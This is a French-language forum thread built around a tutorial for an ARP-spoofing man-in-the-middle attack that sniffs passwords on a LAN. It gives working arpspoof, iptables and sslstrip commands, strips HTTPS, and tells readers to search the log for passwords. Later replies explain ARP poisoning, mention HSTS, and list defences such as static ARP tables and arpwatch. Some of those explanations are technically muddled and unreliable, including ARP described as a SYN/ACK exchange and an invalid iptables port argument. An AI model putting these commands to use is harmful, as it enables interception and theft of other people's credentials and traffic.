Annonce

Réduire
Aucune annonce.

Attaque Man in the Middle (sniff de password en LAN)

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Attaque Man in the Middle (sniff de password en LAN)

    Bonjour à tous ! Voilà un tuto qui à pour but de vous expliquer comment sniffer les passwords sur une connexion.

    D'abord, sachez qu'il est absolument illégal de faire ça sur une autre connexion que la votre, vous serez les seuls responsables en cas de problème.

    Lançons nous !

    La première chose à faire est de télécharger les packages suivants si vous n'êtes pas sous Bactrack (ce que je recommande vivement)
    - Arpspoof
    - Sslstrip

    I) Mise en place des conditions nécessaires.
    Il faut avant de pouvoir effectuer cette attaque, préparer l'ordinateur afin que tout fonctionne

    A) Ip forwarding
    Comme nous le verrons plus tard, et comme le titre l'indique, il s'agit de détourner le traffic : pour cela on active donc le forwarding avec la commande suivante
    Code:
    echo "1" > /proc/sys/net/ipv4/ip_forward
    B) Iptables
    Dans la même logique que précédemment, on met en place les tables de routages :
    Code:
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port PORTECOUTE
    cette commande signifie qu'on redirige le traffic tcp entrant par le port 80 vers le port PORTECOUTE.

    II) Lancement de l'attaque.
    Cette attaque porte plusieurs noms : arp poisonning, arp spoofing.
    A) ARP poisonning
    Le but de cette attaque est de convaincre un équipement sur le réseau que nous sommes désormais le routeur, et que c'est à nous qu'il faut envoyer les paquets réseaux. Cela ce fait en envoyant des paquets ARP (ceux qui définissent qui est qui sur le réseaux) en broadcast ou à une cible précise pour les convaincres. Cela se fait à l'aide de la commande suivante :
    Code:
    arpspoof -i <INTERFACE> [-t CIBLE*] <GATEWAY>
    La cible (-t) n'est pas obligatoire. <GATEWAY> est la passerelle par défaut. Pour trouver la passerelle par défaut, vous pouvez taper
    Code:
    ip route show
    .
    B) SSL strip
    C'est enfin cet outil qui fait tout le boulot : il va analyser le trafic et remplacer https par http, forçant ainsi à transmettre les données en clair.
    Il se lance avec la commande suivante :
    Code:
    sslstrip -f -a -k -l PORTECOUTE -w OUTPUT.log
    Je vous invite à regarder le manuel d'utilisation de cet outil pour savoir ce qu'il peut faire. Voilà la signification des options :
    -f : change le favicon par un icon de cadenas
    -a : log tout le trafic
    -k : supprime les cookies pour forcer la reconnexion
    -l : port d'écoute. Ce doit être le même que dans la première partie avec les tables de routage.
    -w : fichier log, si vous ne le mettez pas, ce sera sslstrip.log par défaut

    Conclusion
    Après l'attaque finie (ou même pendant) ouvrez le fichier log, et TADA ! Tout ce qui c'est passé sur le réseau y est consigné. Vous pourrez notamment (mais pas seulement !) y trouver les mots de passe. Pour cela, recherchez votre mot de passe (oui, vous l'avez fait sur votre connexion, souvenez-vous) ou alors faite une recherche avec des mots clés comme pass, passwd, pwd.

    Enfin, bonus, j'ai écrit un script qui fait tout ca pour vous, et qui est commenté, vous pourrez donc comprendre tout ce qui se passe. Pour ça c'est direction mon site : http://comax.fr .

    Source : Comax




    Dernière modification par comaX, 24 janvier 2012, 18h23.

  • #2
    Quand je fais MITM je suis toujours cette methode, ou avec ettercap ou sinon avec ton excellent script Yamas

    Je voulais savoir s'il y avait une alternative car sslstrip semble ne pas bien fonctionner avec certains navigateurs à cause du HSTS. Pour exemple j'ai testé avec safari et fonctionne correctement mais avec chrome... pas moyen. En cherchant sur internet j'ai trouvé d'autres personnes qui ont le même soucis mais aucune solution. Quelqu'n connais une autre mèthode?

    Merci!

    Commentaire


    • #3
      Si tu te fais passer pour le routeur et que tout le trafic arrive sur ta carte (imaginons eth1), certe tu vas sniffer tous les paquets du client mais le mec vas se rendre compte que quelques chose cloche si la page ne charge pas ?
      Vu que tu n'est pas réellement le routeur, tu redirige quand même la requête vers internet pour ne pas te faire griller ?
      Il y'a quelques chose qui m’échappe
      Un million de kilomètres commencent toujours par un pas.

      Commentaire


      • #4
        Un réseau pour faire simple est un échange de communication.

        Lan =>Routeur
        Routeur => Internet

        Un routeur permet les échange externes d'un réseau Lan (local).

        Donc en MITM, tu va chercher à identifier le routeur qui est à l'entré du réseau Lan et tu va pirater les échanges.
        De base les échanges sont la table ARP = l'un Envoi Syn, l'autre répond Ack et finalement il renvoie Syn/Ack. Cet échange conclue un peu l'identification à l'aide de l'ARP = adresse IPv4-adresse MAC ou IPv6 (vu que l'IPv4 sature).

        Donc, une fois au centre tu va empoisonner, c'est à dire submerger de réponse les appareils appartenant au réseau (PC, Mobile, Imprimante,...) pour qu'il te prenne pour le routeur qui va les désservir sur internet.

        Une fois qu'ils ont accepté tu a en fait le trafic qui passe au travers toi, comme un routeur. Eux navigueront comme d'habitude sauf que toi tu sera la à sniffer les paquets tranquillement, une connection à une banque, je sniffe, une connection à un site de VOD, je sniffe ,...

        Personnellement, je trouve super le MITM en Lan, cependant limité. Peu parle du piratage MITM en réseau WAN et MAN au vu de la difficultés à mettre en oeuvre.

        Je compte faire un gros tutoriels réseaux sur Le piratage et l'espionnage sur réseau MAN et WAN, mais j'attend d'avoir terminer mon 2e blogue sur la sécurité où je mettrais l'intégralité de mes articles et reflexion.

        Voila j'espère avoir répondus à ta question au mieux.

        Et pour aller plus loin, les solutions :

        Administrateurs réseaux

        Petits réseaux Lan :

        Adresses IP fixes / Tables ARP statiques.

        Grands réseaux Lan :

        Équiper le réseau de switch qui propose des options « arp inspection » and « port security » (par exemple Cisco) pour bloquer les ports lors de changements d'adresse.


        Pour la maison :

        Surveiller votre réseau à l'aide par exemple d'ARPwatch : http://ee.lbl.gov/
        Dernière modification par DreAmuS, 21 octobre 2015, 17h08.

        Commentaire


        • #5
          Merci pour ta réponse.
          Le pc du hacker fait donc office de GateWay qui renvoie vers le routeur légitime par la suite ? // Pour ne pas se faire griller
          Donc dans sa config ip et sa table ARP le pc du hacker a : L'IP + MAC du routeur légitime et son IP comme passerelle par défaut.

          Donc si :
          IP du pirate : 192.168.1.254 et @MAC_Pirate
          IP du routeur : 192.168.1.1 et @MAC_Routeur

          Comment ca se passe dans la table ARP ?
          Pendant l'attaque le client crois que l'IP 192.168.1.1 et associé à @MAC_Pirate ?

          Et comme le client est dans son LAN il regarde qui à L'IP 192.168.1.1 et quel MAC correspond (dans sa table ARP) puis l'envoie au pirate en croyant l'envoyer à son petit camarade routeur.

          C'est encore un peu flou pour le routage fait par le pcdu pirate :


          Sur l'image on a l'impression que le trafic de la victime ne repasse pas DANS LE ROUTEUR.
          Un million de kilomètres commencent toujours par un pas.

          Commentaire


          • #6
            Déjà,il faut savoir qu'à la sortie du PC/Routeur du hacker, le flux de données est dispatcher sur différents autres routeurs suivant le chemin emprunté pour arriver jusqu'à l'adresse demandé. Il va choisir ce chemin par rapport à son appartenance Man et Wan mais aussi suivant les retours error etc,...

            si :
            IP du pirate : 192.168.1.254 et @MAC_Pirate
            IP du routeur : 192.168.1.1 et @MAC_Routeur

            En effet, la victime où du moins sa carte réseau va prendre pour argent comptant que l'IP du pirate et l'adresse MAC envoyer correspond bien au routeur.
            Pour exemple tu peux en tapant par exemple sous windows : cmd > arp -a Tu peux dans le même esprit chercher les entrées ARP : arp -a @ip et arp -s @ip @MAC en remplçant les données @ip et @MAC par celles correspondantes.

            Le schéma est comme il l'est, l'information a toujours un retour avec en tête etc,... Souvent les schémas sont peu explicite sur certains détails.
            Regarde celui ci, cette fois le hacker prend la place d'un switch (un peu semblable à un routeur mais exclusivement pour reverser les données en LAN)




            Tu vois les données circulent dans un sens puis dans l'autre. C'est un peu pour faire encore plus simple, comme le principe de tunnelisation. On entre dans un tunnel avec des niveaux (couches réseaux), on envoie ces données , on attend, on reçois les retours, la connection établis avec certification que chacun est bien qui il est, on continue alors à transmettree des données soit chiffrées (https), soit en clair, soit crypt (GPN),...


            Ne te focalise pas sur le schéma et réticule le principe dans sa base : des couches qui communique en tunnelisation par niveaux, par principe et langage, le tout envoyer grâce aux entêtes qui contiennent les identifiants de prise de position.

            Commentaire


            • #7
              C'est intéressant que tu parle de switch car je me posais aussi la question de savoir si l'on pouvait sniffer le trafic sur un switch basique de niveau 1 (donc sans webmin GUI, sans IP ...). Car souvent les switchs des entreprise sont de niveau 2 ou 3 et comporte des VLAN.

              Je vais simuler l'attaque sur mes VM et observer les tables de routages et tables ARP.
              L'important est bien sur que le trafic passe par le pc du pirate

              Il me reste une interrogation sur cette commande : iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port PORTECOUTE

              Quel port d'écoute choisir ? Cette commande signifie que tous les paquets qui arrivent sur :80 sont redirigés vers un autre port (port d'écoute) que l'on va analyser/sniffer ?

              Merci de ta patience, je suis un peu confus mais j'ai saisi le principe de MITM.
              Un million de kilomètres commencent toujours par un pas.

              Commentaire


              • #8
                Bon je vais essayer pour finir de t'expliquer ce dernier principe même si ce tutoriel n'est pas de moi et je le découvre comme toi.

                Dans ce tutoriel, on veut faire passer le PC Pirate pour un routeur. Si tu a compris ce que j'ai dit précédemment, un routeur est une passerelle entre le réseau LAN et internet.

                On communique dans un LAN avec des cables, des spot wifi(bbox,..), ou des switchs,... Mais pour aller sur internet on va dépasser notre cadre local et donc on passe par des routeurs.
                Une passerelle, le mot est bien dit, on marche tranquillement dessus et il va nous indiquer en prime le chemin vers une autre passerelle et une autre comme un GPS jusqu'à notre cible identifier par sa propre table ARP (DNS,...), constitué d'une IP/MAC.

                Code:
                echo 1 > /proc/sys/net/ipv4/ip_forward
                Avec cette commande, on déverrouille le « forwarding », autrement dit, on active le routage.

                Une fois ceci fait, découvrons l'autre commande :

                Code:
                iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port PORTECOUTE
                Notre PC qui joue le rôle d'un routeur, se comporte un peu comme un serveur qui stocke les données et les renvoient vers la requête de la victime.

                Iptables est utilisé en ligne de commande pour donner des instruction au niveau des parefeu, tables ARP, Règles,...
                Son but est de mettre en place la règle de notre PCPirate/FakeRouteurs, pour que lorsque le PC victime arrive il se plie au règle énoncé par iptables.
                Voici un lien qui parle mieux que moi de sa définition et désolé si j'ai l'air un peu imagé ou moyen dans mes explications, je te fait ça de mémoire et d'expérience.

                http://doc.ubuntu-fr.org/iptables

                Donc, tu a compris internet n'est qu'un ensemble de couches qui communique en passant de l'une à l'autre et en passant par des passerelles ou tunnels suivant le protocole en place. Pour diriger cela, il y a des régles émises sous formes de tableaux, qui dit qui doit faire quoi et qui n'a pas le droit de ,...

                La commande indique donc dès le départ, on va érigé les règles OK.
                Dans celle ci je veux :

                Utiliser la table NAT( --table nat), sur notre propre machine les paquets vont entrer dans cette chaîne avant qu'une décision de routage ne soit prise.Ensuite, comme expliquer on se subsitue au routeur et on passe par le protocole (-p) TCP (le plus utilisé et plus simple) à destination du port 80 HTTP (l'internet en bref), et finalement on redirige ce joyeux monde (-j jump) local vers un port d'écoute , bien entendu le notre comme par exemple:

                Code:
                -j REDIRECT --to-port 192.127.2.1:5000
                Voila j'ai fait au mieux et au plus simplifié pour essayer de te faire comprendre le truc.
                Dernière modification par DreAmuS, 22 octobre 2015, 17h56.

                Commentaire

                Chargement...
                X